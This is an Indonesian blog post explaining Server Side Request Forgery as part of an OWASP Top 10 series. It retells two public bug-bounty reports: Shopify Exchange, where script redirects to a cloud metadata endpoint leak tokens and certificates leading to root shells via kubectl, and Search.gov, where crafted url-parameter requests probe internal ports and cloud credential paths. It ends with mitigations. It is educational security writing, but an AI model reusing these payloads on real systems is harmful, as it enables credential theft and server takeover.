Owasp Top 10 Series — A10 (Server Side Request Forgery | SSRF)

Galatia Sijabat / May 20, 2022

Owaps top ten

Pengantar

Artikel kali ini kita akan membahas owasp top 10 yang ada di urutan terakhir untuk tahun 2021 (owasp tiap 4 tahun sekali), ialah Server Side Request Forgery (SSRF).

OWASP merupakan singkatan dari Open Web Application Security Project, yang merupakan sebuah project Security Web Application open source yang diperkasai oleh para penggiat teknologi atau pengembang aplikasi, OWASP sering mengadakan seminar, forum diskusi serta pendidikan untuk para Developer.

jadi yang dimaksud OWASP TOP 10? owasp top 10 merupakan sebuah cara untuk mengkategorikan resiko kerentanan yang sering terjadi pada sebuah aplikasi berbasis website, dari yang paling atas (resiko tertinggi) hingga yang paling bawah (tingkat resiko rendah), Tujuannya apa ?, tentu saja ini sangat berguna bagi para developer aplikasi supaya mereka jadi lebih aware terhadap kerentanan di aplikasi mereka.

Server Side Request Forgery (SSRF)

Apa itu Server Side Request Forgery (SSRF) ?

Server Side Request Forgery (SSRF) merupakan sebuah kerentanan yang disebabkan di layer (aplication dan network) yan dimana request dari user diizinkan untuk melakukan interaksi dengan internal network yang menyebabkan permintaan URL dari user akan dianggap sebagai permintaan dari internal network oleh aplikasi/website (Tidak adan validasi).

Praktikal

#341876 SSRF in Exchange leads to ROOT access in all instances

Sumber : https://hackerone.com/reports/341876

Access Google Cloud Metadata

attacker membuat toko (patners.shopify.com) edit template [password.liquid] dan menambahkan konten :

<script>
window.location="http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token";
  // iframes don't work here because Google Cloud sets the `X-Frame-Options: SAMEORIGIN` header.
    </script>

attacker pergi ke https://exchange.shopify.com/create-a-listing lalu menginstall Exchange app - > Create Listing page Download gambar .PNG dan buka

attacker coba untuk mendapatkan lebih banyak sensitif data

<script>
window.location="http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json";
</script>

Can I add my SSH key using the leaked token? No

curl -X POST "https://www.googleapis.com/compute/v1/projects/███/setCommonInstanceMetadata" -H "Authorization: Bearer ██████████████" -H "Content-Type: application/json" --data '{"items": [{"key": "0xACB", "value": "test"}]}'
{
 "error": {
  "errors": [
   {
    "domain": "global",
    "reason": "forbidden",
    "message": "Required 'compute.projects.setCommonInstanceMetadata' permission for 'projects/███████'"
   },
   {
    "domain": "global",
    "reason": "forbidden",
    "message": "Required 'iam.serviceAccounts.actAs' permission for 'projects/███████'"
   }
  ],
  "code": 403,
  "message": "Required 'compute.projects.setCommonInstanceMetadata' permission for 'projects/████████'"
 }
}

attacker mengecek token dan mendapati bahwa token tidak mengeizinkan read/write

curl "https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=██████████████████"
{
 "issued_to": "███████",
 "audience": "███",
 "scope": "https://www.googleapis.com/auth/cloud-platform",
 "expires_in": 1307,
 "access_type": "offline"
}

Dumping kube-env

attacker membuat toko baru dan pull

http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/?recursive=true&alt=json

Metadata concealment

https://cloud.google.com/kubernetes-engine/docs/how-to/metadata-concealment

attacker kemudian membuat request baru :

http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/kube-env?alt=json

CA.CRT

-----BEGIN CERTIFICATE-----
██████
███████
███████
████████
██████████████
████████
████████
███████
████
██████
███
█████████
████
████
████████
███████
███
-----END CERTIFICATE-----

CLIENT.CRT

-----BEGIN CERTIFICATE-----
█████
███████
██████
████████
██████████
█████
██████
█████
█████
██████████
███████
█████
████
████
████████
████████
-----END CERTIFICATE-----

CLIENT.PEM

-----BEGIN RSA PRIVATE KEY-----
█████████
██████
████████
████
████
█████████
██████████
██████
████████
█████████
██████
██████████
███
██████████
███
██████
█████████
████████
██████████
█████████
████
████
████████
████
███████
-----END RSA PRIVATE KEY-----

Mengunakan Kubelet untuk arbitary commands

$ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://██████ get pods --all-namespaces

NAMESPACE                                   NAME                                                              READY     STATUS             RESTARTS   AGE
████████                    ██████████                    1/1
$ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://████████ create -f https://k8s.io/docs/tasks/debug-application-cluster/shell-demo.yaml

pod "shell-demo" created
$ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://██████████ delete pod shell-demo

pod "shell-demo" deleted
$ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://█████████ exec -it shell-demo -- /bin/bash

Error from server (Forbidden): pods "shell-demo" is forbidden: User "███" cannot create pods/exec in the namespace "default": Unknown user "███"
$ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://███ describe pods/█████ -n █████████

Name:           ████████
Namespace:      ██████
Node:           ██████████
Start Time:     Fri, 23 Mar 2018 13:53:13 +0000
Labels:         █████
                ████
                █████
Annotations:    <none>
Status:         Running
IP:             █████████
Controlled By:  █████
Containers:
  default-http-backend:
    Container ID:   docker://███
    Image:          ██████
    Image ID:       docker-pullable://█████
    Port:           ████/TCP
    Host Port:      0/TCP
    State:          Running
      Started:      Sun, 22 Apr 2018 03:23:09 +0000
    Last State:     Terminated
      Reason:       Error
      Exit Code:    2
      Started:      Fri, 20 Apr 2018 23:39:21 +0000
      Finished:     Sun, 22 Apr 2018 03:23:07 +0000
    Ready:          True
    Restart Count:  180
    Limits:
      cpu:     10m
      memory:  20Mi
    Requests:
      cpu:        10m
      memory:     20Mi
    Liveness:     http-get http://:███/healthz delay=30s timeout=5s period=10s #success=1 #failure=3
    Environment:  <none>
    Mounts:
      ██████
Conditions:
  Type           Status
  Initialized    True
  Ready          True
  PodScheduled   True
Volumes:
 ██████████:
    Type:        Secret (a volume populated by a Secret)
    SecretName: ███████
    Optional:    false
QoS Class:       Guaranteed
Node-Selectors:  <none>
Tolerations:     node.kubernetes.io/not-ready:NoExecute for 300s
                 node.kubernetes.io/unreachable:NoExecute for 300s
Events:          <none>

attacker dapat mengunakan token untuk mendapatkan akses ke semua container

$ kubectl --certificate-authority ca.crt --server https://████ --token "█████.██████.███" exec -it w█████████ -- /bin/bash

Defaulting container name to web.
Use 'kubectl describe pod/w█████████' to see all of the containers in this pod.
███████:/# id
uid=0(root) gid=0(root) groups=0(root)
█████:/# ls
app  boot   dev  exec  key  lib64  mnt  proc  run   srv  start  tmp  var
bin  build  etc  home  lib  media  opt  root  sbin  ssl  sys    usr
███████:/# exit
$ kubectl --certificate-authority ca.crt --server https://███████ --token "█████.██████.█████████" exec -it ████████ -n ████████ -- /bin/bash

Defaulting container name to web.
Use 'kubectl describe pod/█████ -n █████' to see all of the containers in this pod.
root@████:/# id
uid=0(root) gid=0(root) groups=0(root)
root@████:/# ls
app  boot   dev  exec  key  lib64  mnt  proc  run   srv  start  tmp  var
bin  build  etc  home  lib  media  opt  root  sbin  ssl  sys    usr
root@█████:/# exit

Impact :

RCE

#514224 SSRF in Search.gov via ?url= parameter

sumber : https://hackerone.com/reports/514224

Login ke Search.gov dan klik help manual.

Request :

GET /help_docs?url=https%3A%2F%2Fsearch.gov%2Fmanual%2Faccount.html HTTP/1.1
Host: search.usa.gov
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: ja,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://search.usa.gov/account
X-NewRelic-ID: VgYAV1BRCxABU1JUBAUCXlI=
X-CSRF-Token: /2jDOc6aYEZA5VealIrF44qJZtY0iDiTsALu8HYA+OOIewuKHREwyh6M0wGa2WC9amTPX4vPMjj0YQIjys3nNA==
X-Requested-With: XMLHttpRequest
Connection: close
Cookie: _ga=GA1.2.924676610.1553290937; _gid=GA1.2.1047460386.1553290937; _ga=GA1.3.924676610.1553290937; _gid=GA1.3.1047460386.1553290937; _session_id=a0d5ecbfa9404ea9ffad4cb3ea771dea; user_credentials=1055608db95b714d9ae2ef05a4e1b83aa138ad5fca67422f02ca795ec2a74179bb15c610dd33f5e6f200be0de0e812a8fe3d59a0027b290b5377ab2a65da1f19%3A%3A5992

Jika menambahkan http://127.0.0.1:21/?%0A sebelum url parameter dan send request, didapati respon seperti berikut (450ms. (Port is closed))

Request :

GET /help_docs?url=http://127.0.0.1:21/?%0Ahttps%3A%2F%2Fsearch.gov%2Fmanual%2Faccount.html HTTP/1.1
(snip)

Response :

HTTP/1.1 200 OK
(snip)
{"body":"<div class='alert alert-error'>Unable to retrieve <a href='http://127.0.0.1:21/?\nhttps://search.gov/manual/account.html'>http://127.0.0.1:21/?\nhttps://search.gov/manual/account.html</a>.</div>"}

Kalau menambahkan http://127.0.0.1:22/?%0A sebelum url parameter dan send request, respon seperti berikut (10,468ms. (Port is open))

Request :

GET /help_docs?url=http://127.0.0.1:22/?%0Ahttps%3A%2F%2Fsearch.gov%2Fmanual%2Faccount.html HTTP/1.1
(snip)

Response :

HTTP/1.1 200 OK
(snip)
{"body":"<div class='alert alert-error'>Unable to retrieve <a href='http://127.0.0.1:22/?\nhttps://search.gov/manual/account.html'>http://127.0.0.1:22/?\nhttps://search.gov/manual/account.html</a>.</div>"}

tambahkan http://169.254.169.254/latest/meta-data/iam/security-credentials/?%0A

Requests :

GET /help_docs?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/?%0Ahttps%3A%2F%2Fsearch.gov%2Fmanual%2Faccount.html HTTP/1.1
(snip)

Response :

HTTP/1.1 200 OK
(snip)
{"body":""}

tambahkan http://169.254.169.254/latest/meta-data/iam/security-credentialx/?%0A maka Unable to retrieve ** (/security-credentialx does not exists)**

Request :

GET /help_docs?url=http://169.254.169.254/latest/meta-data/iam/security-credentialx/?%0Ahttps%3A%2F%2Fsearch.gov%2Fmanual%2Faccount.html HTTP/1.1
(snip)

Response :

HTTP/1.1 200 OK
(snip)
{"body":"<div class='alert alert-error'>Unable to retrieve <a href='http://169.254.169.254/latest/meta-data/iam/security-credentialx/?\nhttps://search.gov/manual/account.html'>http://169.254.169.254/latest/meta-data/iam/security-credentialx/?\nhttps://search.gov/manual/account.html</a>.</div>"}

Mitigasi

  • Network Layer
    • Block semua externall traffic dengan firewall
    • Record semua network yang mengaksess aplikasi tanpa melewati firewall
  • Application Layer
    • Lakukan Validasi semua inputan dari client
    • disable HTTP Redirects
    • jangan mengirimkan respon ke client secara Raw

Referensi

OWASP - Server-Side Request Forgery Prevention Cheat Sheet

PortSwigger - Server-side request forgery (SSRF)

Acunetix - What is Server-Side Request Forgery (SSRF)?

SSRF bible

A New Era of SSRF - Exploiting URL Parser in Trending Programming Languages!

Beberapa Kerentanan lain di list CWE

CWE-918 Server-Side Request Forgery (SSRF)